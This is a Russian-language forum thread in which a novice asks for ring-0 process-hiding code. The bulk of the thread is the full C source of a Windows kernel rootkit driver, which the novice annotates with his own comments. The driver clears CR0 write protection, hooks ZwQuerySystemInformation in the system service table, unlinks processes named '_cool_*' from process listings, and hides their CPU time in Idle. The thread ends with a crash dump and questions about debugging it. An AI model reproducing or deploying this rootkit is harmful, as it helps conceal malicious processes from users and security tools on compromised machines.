перехват ZwQuerySystemInformation

Скрытие процесса , дайте код уже не могу щяс начнёться дипрессия

 

ps в ринг0

 

http://www.google.com/codesearch?hl=en&lr=&q=NTSTATUS+NewZwQuerySystemInformation&btnG=Search
гы

 

http://www.google.com/codesearch?q=+NTSTATUS+NewZwQuerySystemInformation+show:bBG00bum7Ok:vaMWSQ6IXjY:8RNv3w81I_0&sa=N&cd=2&ct=rc&cs_p=http://www.tantao.cn:8080/rootkit/basic_hook_hide_proc.zip&cs_f=basic_hook_hide_proc/bhhidep.c#a0

кому не лень, распишите пожалуйста что тут делаеться

 

происходит перехват ZwQuerySystemInformation():
тырятся процессы, начинающиеся с _cool_, к Idle добавляется системное время процесса _cool_.

 

censored можно твою ICQ ?

 

Что мне нужно учить чтоб я понял что тут делаеться ? вот ты сразу сказал что делаеться , что учить ? посдкажи

 

матчасть, чего ж еще? %)

 

какую именно ? Си ?

 

кстати я скомпилировал и "запустил" драйвер, только не понял что именно он прячет, я переименовал notepad.exe в _cool_.exe всё равно ничего не прячетсья , обьясни что должно прятаться ? у тебя есть ICQ или Жаббер? Возьми в учиники обещяю не разочаруешься

 

а я и не говорил, что оно _работает_ . там кстати еще по задумке автора, для сркываемого процесса ZwQuerySystemInformation() все честно отдает .
ICQ/Jabber есть, только не шестизнак, поэтому я не раздаю (боюсь угона бугага)

 

Давай может в жаббере состыкуемся ?
так ты готов ученика взять ?

 

/off
я не занимаюсь драйверами -- мне это не интересно.
давайте контакты, если так настаиваите, с Вами свяжутся.

 

censored
Забыл ещё что для процесса с началом = _cool_ сокрытия не происходит. Т.е. если в этом процессе вызвать ZwQuerySystemInformation то он выведет реальную информацию.

 

Код (Text):

1. #include "ntddk.h"
2.  
3. #define DWORD unsigned long
4. #define WORD unsigned short
5. #define BOOL unsigned long
6.  
7. #pragma pack(1)
8. typedef struct ServiceDescriptorEntry {
9.     unsigned int *ServiceTableBase;
10.     unsigned int *ServiceCounterTableBase; //Used only in checked build
11.     unsigned int NumberOfServices;
12.     unsigned char *ParamTableBase;
13. } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
14. #pragma pack()
15.  
16. __declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
17. #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
18.  
19. // Length of process name (rounded up to next DWORD)
20. #define PROCNAMELEN     20
21. // Maximum length of NT process name
22. #define NT_PROCNAMELEN  16
23.  
24. ULONG gProcessNameOffset;
25.  
26. struct _SYSTEM_THREADS
27. {
28.         LARGE_INTEGER           KernelTime;
29.         LARGE_INTEGER           UserTime;
30.         LARGE_INTEGER           CreateTime;
31.         ULONG                   WaitTime;
32.         PVOID                   StartAddress;
33.         CLIENT_ID               ClientIs;
34.         KPRIORITY               Priority;
35.         KPRIORITY               BasePriority;
36.         ULONG                   ContextSwitchCount;
37.         ULONG                   ThreadState;
38.         KWAIT_REASON            WaitReason;
39. };
40.  
41. struct _SYSTEM_PROCESSES
42. {
43.         ULONG                   NextEntryDelta;
44.         ULONG                   ThreadCount;
45.         ULONG                   Reserved[6];
46.         LARGE_INTEGER           CreateTime;
47.         LARGE_INTEGER           UserTime;
48.         LARGE_INTEGER           KernelTime;
49.         UNICODE_STRING          ProcessName;
50.         KPRIORITY               BasePriority;
51.         ULONG                   ProcessId;
52.         ULONG                   InheritedFromProcessId;
53.         ULONG                   HandleCount;
54.         ULONG                   Reserved2[2];
55.         VM_COUNTERS             VmCounters;
56.         IO_COUNTERS             IoCounters; //windows 2000 only
57.         struct _SYSTEM_THREADS  Threads[1];
58. };
59.  
60. // added -Creative
61. struct _SYSTEM_PROCESSOR_TIMES
62. {
63.         LARGE_INTEGER           IdleTime;
64.         LARGE_INTEGER           KernelTime;
65.         LARGE_INTEGER           UserTime;
66.         LARGE_INTEGER           DpcTime;
67.         LARGE_INTEGER           InterruptTime;
68.         ULONG                   InterruptCount;
69. };
70.  
71. // added -Creative
72. LARGE_INTEGER                   m_UserTime;
73. LARGE_INTEGER                   m_KernelTime;
74.  
75. // function prototype
76. NTSYSAPI
77. NTSTATUS
78. NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass,IN PVOID SystemInformation,
79.                         IN ULONG SystemInformationLength,
80.                         OUT PULONG ReturnLength);
81.  
82. // typedef so we can make a working call thru the saved pointer
83. typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
84.             ULONG SystemInformationCLass,
85.             PVOID SystemInformation,
86.             ULONG SystemInformationLength,
87.             PULONG ReturnLength
88. );
89.  
90. ZWQUERYSYSTEMINFORMATION    OldZwQuerySystemInformation;
91.  
92. /* Find the offset of the process name within the executive process
93.    block.  We do this by searching for the first occurance of "System"
94.    in the current process when the device driver is loaded. */
95.  
96. void GetProcessNameOffset()
97. {
98.   PEPROCESS curproc = PsGetCurrentProcess();
99.   int i;
100.   for( i = 0; i < 3*PAGE_SIZE; i++ )
101.   {
102.       if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))
103.     {
104.       gProcessNameOffset = i;
105.     }
106.   }
107. }
108.  
109. /* Copy the process name into the specified buffer.  */
110.  
111. ULONG GetProcessName( PCHAR theName )
112. {
113.   PEPROCESS       curproc;
114.   char            *nameptr;
115.   ULONG           i;
116.   KIRQL           oldirql;
117.  
118.   if( gProcessNameOffset )
119.     {
120.       curproc = PsGetCurrentProcess();                      // PsGetCurrentProcess функция возвращяет указатель на на процесс текущего потока
121.       nameptr   = (PCHAR) curproc + gProcessNameOffset;     // Тут не понятно
122.       strncpy( theName, nameptr, NT_PROCNAMELEN );          // пихаем в nameptr theName ЗАЧЕМ ?
123.       theName[NT_PROCNAMELEN] = 0;                          // Нуль строка
124.       return TRUE;
125.     }
126.   return FALSE;
127. }
128.  
129.  
130. NTSTATUS NewZwQuerySystemInformation(IN ULONG SystemInformationClass,IN PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength)
131. {
132.     NTSTATUS rc;                                // NT Статус тут всё понятно
133.     CHAR aProcessName[PROCNAMELEN];             // массив aProcessName[20] (см.#define PROCNAMELEN     20)
134.     GetProcessName( aProcessName );             // В Функцию GetProcessName передаём массив aProcessname, помоему показывать какой процесс
135.                                                 // запросил функцию ZwQuerySystemInformation() я прав ?
136.     DbgPrint("Rootkit: NewZwQuerySystemInformation() from %s\n", aProcessName);
137.                                                 // пишем в дебаг
138.  
139.  
140.     rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (    // Вот тут нифига не понятно что делаеться :(
141.                     SystemInformationClass,
142.                     SystemInformation,
143.                     SystemInformationLength,
144.                     ReturnLength );
145.  
146.     DbgPrint("   real ZwQuerySystemInfo returned %d", rc);
147.  
148.     if( NT_SUCCESS( rc ) )                          // Если rc успешен %)
149.     {
150.         if(0 == memcmp(aProcessName, "_cool_", 6))  // Если в название процесса = _cool_ (если memcmp вернёт 0)
151.         {
152.             DbgPrint("Rootkit: Получина команда скрыть процесс копибара :) \n");
153.         }
154.         else if( 5 == SystemInformationClass )      // если 5 равен ХЗ чему , нашёл где то что SystemInformationClass это
155.                                                     // The type of system information to be queried.The permitted values are a subset of
156.                                                     // the enumeration SYSTEM_INFORMATION_CLASS,described in the following section. хз что это :)
157.         {
158.             // this is a process list, look for process names that start with
159.             // '_root_'
160.             int iChanged = 0;
161.             struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;     // а я то думал копибара та структура в начале кода
162.             struct _SYSTEM_PROCESSES *prev = NULL;                                              // вторая....
163.  
164.             while(curr)                                                                         // пока есть кур... есть кур ? кушать куриц ? :)
165.             {
166.                 struct _SYSTEM_PROCESSES *next = ((struct _SYSTEM_PROCESSES *)curr += curr->NextEntryDelta);        // АВТОР ГАД !! :) меня не обманешь
167.  
168.                 ANSI_STRING process_name;
169.                 RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE);
170.                 if( (0 < process_name.Length) && (255 > process_name.Length) )
171.                 {
172.  
173.                     // TODO: Change the prefix of the process to hide
174.                     if(0 == memcmp( process_name.Buffer, "_cool_", 6))
175.                     {
176.                         //////////////////////////////////////////////
177.                         // we have a winner!
178.                         //////////////////////////////////////////////
179.                         char _output[255];
180.                         char _pname[255];
181.                         memset(_pname, 0, 255);
182.                         memcpy(_pname, process_name.Buffer, process_name.Length);
183.  
184.                         DbgPrint("Rootkit: hiding process, pid: %d\tname: %s\r\n",
185.                                   curr->ProcessId,
186.                                   _pname);
187.  
188.                         iChanged = 1;
189.  
190.                         m_UserTime.QuadPart += curr->UserTime.QuadPart;
191.                         m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
192.  
193.                         if(prev)
194.                         {
195.                                 if(curr->NextEntryDelta)
196.                                 {
197.                                         // make prev skip this entry
198.                                         prev->NextEntryDelta += curr->NextEntryDelta;
199.                                 }
200.                                 else
201.                                 {
202.                                         // we are last, so make prev the end
203.                                         prev->NextEntryDelta = 0;
204.                                 }
205.                         }
206.                         else
207.                         {
208.                                 if(curr->NextEntryDelta)
209.                                 {
210.                                         // we are first in the list, so move it forward
211.                                         (char *)SystemInformation += curr->NextEntryDelta;
212.                                 }
213.                                 else
214.                                 {
215.                                         // we are the only process!
216.                                         SystemInformation = NULL;
217.                                 }
218.                         }
219.                     }
220.                 }
221.                 else
222.                 {
223.                     //add the times of _root_* processes to the Idle process
224.                     curr->UserTime.QuadPart += m_UserTime.QuadPart;
225.                     curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
226.                     m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
227.                 }
228.                 RtlFreeAnsiString(&process_name);
229.  
230.                 if (0 == iChanged)
231.                     prev = curr;
232.                 else
233.                     iChanged = 0;
234.  
235.                 if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
236.                 else curr = NULL;
237.             }
238.         }
239.         else if (8 == SystemInformationClass)           //SystemProcessorTimes
240.         {
241.             struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
242.             times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
243.         }
244.     }
245.  
246.     return rc;
247. }
248.  
249. VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
250. {
251.     DbgPrint("Rootkit: OnUnload called\n");
252.  
253.     // UNProtect memory
254.     __asm
255.     {
256.         push    eax
257.         mov     eax, CR0
258.         and     eax, 0FFFEFFFFh
259.         mov     CR0, eax
260.         pop     eax
261.     }
262.  
263.     // put back the old function pointer
264.     InterlockedExchange( (PLONG) &SYSTEMSERVICE(ZwQuerySystemInformation),
265.                          (LONG) OldZwQuerySystemInformation);
266.  
267.     // REProtect memory
268.     __asm
269.     {
270.         push    eax
271.         mov     eax, CR0
272.         or      eax, NOT 0FFFEFFFFh
273.         mov     CR0, eax
274.         pop     eax
275.     }
276. }
277.  
278. NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
279. {
280.     DbgPrint("Rootkit: WE ARE ALIVE! Let the hiding begin.\n");
281.  
282.     GetProcessNameOffset();
283.  
284.     theDriverObject->DriverUnload  = OnUnload;
285.  
286.     // UNProtect memory
287.     __asm
288.     {
289.         push    eax
290.         mov     eax, CR0
291.         and     eax, 0FFFEFFFFh
292.         mov     CR0, eax
293.         pop     eax
294.     }
295.  
296.  
297.     OldZwQuerySystemInformation =
298.         (ZWQUERYSYSTEMINFORMATION) InterlockedExchange(     (PLONG) &SYSTEMSERVICE(ZwQuerySystemInformation),
299.                                                             (LONG) NewZwQuerySystemInformation);
300.     // REProtect memory
301.     __asm
302.     {
303.         push    eax
304.         mov     eax, CR0
305.         or      eax, NOT 0FFFEFFFFh
306.         mov     CR0, eax
307.         pop     eax
308.     }
309.  
310.     return STATUS_SUCCESS;
311. }

вот что я пока понял...
вылез синий экран когда запустил таксманагер , щя вандампом гляну чё там

 

Читать книжки и доки =)

 

Код ошибки сказал бы.

 

Код (Text):

1. ..
2. Probably caused by : driver.sys ( driver+121f )
3. ..
4. STACK_TEXT:  
5. fb390c00 fd34621f fb390c20 000ae270 00000001 nt!RtlUnicodeStringToAnsiString+0x20 // это не изза RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE); ???
6. WARNING: Stack unwind information not available. Following frames may be wrong.
7. fb390d4c 804df06b 00000005 0009f1f8 00004000 driver+0x121f
8. fb390d4c 7c90eb94 00000005 0009f1f8 00004000 nt!KiFastCallEntry+0xf8
9. 0006efe8 00000000 00000000 00000000 00000000 0x7c90eb94

 

щя посмотрим что там в RtlUnicodeStringToAnsiString...

 

NTSTATUS
RtlUnicodeStringToAnsiString(
IN OUT PANSI_STRING DestinationString,
IN PUNICODE_STRING SourceString,
IN BOOLEAN AllocateDestinationString
);
а почему автор кода зделал

Код (Text):

1. ANSI_STRING process_name;

если там IN OUT PANSI_STRING DestinationString